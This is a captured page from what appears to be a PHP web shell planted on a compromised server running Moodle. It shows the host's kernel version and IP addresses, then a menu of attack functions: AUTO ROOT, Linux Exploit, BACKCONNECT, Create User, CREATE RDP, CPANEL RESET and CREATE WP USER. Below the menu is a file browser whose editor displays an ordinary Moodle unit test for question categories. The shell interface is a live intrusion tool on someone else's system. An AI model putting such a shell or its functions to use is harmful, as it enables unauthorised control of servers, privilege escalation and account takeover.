Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.131.102
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
backup_test.php
17.26
KB
-rw-r--r--
bank_view_test.php
4.01
KB
-rw-r--r--
calculated_question_summary_te...
5.75
KB
-rw-r--r--
category_class_test.php
6.63
KB
-rw-r--r--
events_test.php
18.07
KB
-rw-r--r--
externallib_test.php
33.83
KB
-rw-r--r--
generator_test.php
3.82
KB
-rw-r--r--
importexport_test.php
7.46
KB
-rw-r--r--
least_used_variant_strategy_te...
6.08
KB
-rw-r--r--
privacy_helper.php
3.87
KB
-rw-r--r--
privacy_provider_test.php
22.22
KB
-rw-r--r--
question_bank_column_test.php
3.8
KB
-rw-r--r--
random_question_loader_test.ph...
24.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : category_class_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Events tests. * * @package core_question * @copyright 2019 the Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/question/editlib.php'); require_once($CFG->dirroot . '/question/category_class.php'); class core_question_category_class_testcase extends advanced_testcase { /** * @var question_category_object used in the tests. */ protected $qcobject; /** * @var context a context to use. */ protected $context; /** * @var stdClass top category in context. */ protected $topcat; protected function setUp(): void { parent::setUp(); self::setAdminUser(); $this->resetAfterTest(); $this->context = context_course::instance(SITEID); $contexts = new question_edit_contexts($this->context); $this->topcat = question_get_top_category($this->context->id, true); $this->qcobject = new question_category_object(null, new moodle_url('/question/category.php', ['courseid' => SITEID]), $contexts->having_one_edit_tab_cap('categories'), 0, null, 0, $contexts->having_cap('moodle/question:add')); } /** * Test creating a category. */ public function test_add_category_no_idnumber() { global $DB; $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'New category', '', true, FORMAT_HTML, ''); // No idnumber passed as '' to match form data. $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New category', $newcat->name); $this->assertNull($newcat->idnumber); } /** * Test creating a category with a tricky idnumber. */ public function test_add_category_set_idnumber_0() { global $DB; $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'New category', '', true, FORMAT_HTML, '0'); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New category', $newcat->name); $this->assertSame('0', $newcat->idnumber); } /** * Trying to add a category with duplicate idnumber blanks it. * (In reality, this would probably get caught by form validation.) */ public function test_add_category_try_to_set_duplicate_idnumber() { global $DB; $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'Existing category', '', true, FORMAT_HTML, 'frog'); $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'New category', '', true, FORMAT_HTML, 'frog'); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New category', $newcat->name); $this->assertNull($newcat->idnumber); } /** * Test updating a category. */ public function test_update_category() { global $DB; $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'Old name', 'Description', true, FORMAT_HTML, 'frog'); $this->qcobject->update_category($id, $this->topcat->id . ',' . $this->topcat->contextid, 'New name', 'New description', FORMAT_HTML, '0', false); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New name', $newcat->name); $this->assertSame('0', $newcat->idnumber); } /** * Test updating a category to remove the idnumber. */ public function test_update_category_removing_idnumber() { global $DB; $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'Old name', 'Description', true, FORMAT_HTML, 'frog'); $this->qcobject->update_category($id, $this->topcat->id . ',' . $this->topcat->contextid, 'New name', 'New description', FORMAT_HTML, '', false); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New name', $newcat->name); $this->assertNull($newcat->idnumber); } /** * Test updating a category without changing the idnumber. */ public function test_update_category_dont_change_idnumber() { global $DB; $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'Old name', 'Description', true, FORMAT_HTML, 'frog'); $this->qcobject->update_category($id, $this->topcat->id . ',' . $this->topcat->contextid, 'New name', 'New description', FORMAT_HTML, 'frog', false); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New name', $newcat->name); $this->assertSame('frog', $newcat->idnumber); } /** * Trying to update a category so its idnumber duplicates idnumber blanks it. * (In reality, this would probably get caught by form validation.) */ public function test_update_category_try_to_set_duplicate_idnumber() { global $DB; $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'Existing category', '', true, FORMAT_HTML, 'toad'); $id = $this->qcobject->add_category($this->topcat->id . ',' . $this->topcat->contextid, 'old name', '', true, FORMAT_HTML, 'frog'); $this->qcobject->update_category($id, $this->topcat->id . ',' . $this->topcat->contextid, 'New name', '', FORMAT_HTML, 'toad', false); $newcat = $DB->get_record('question_categories', ['id' => $id], '*', MUST_EXIST); $this->assertSame('New name', $newcat->name); $this->assertNull($newcat->idnumber); } }
Close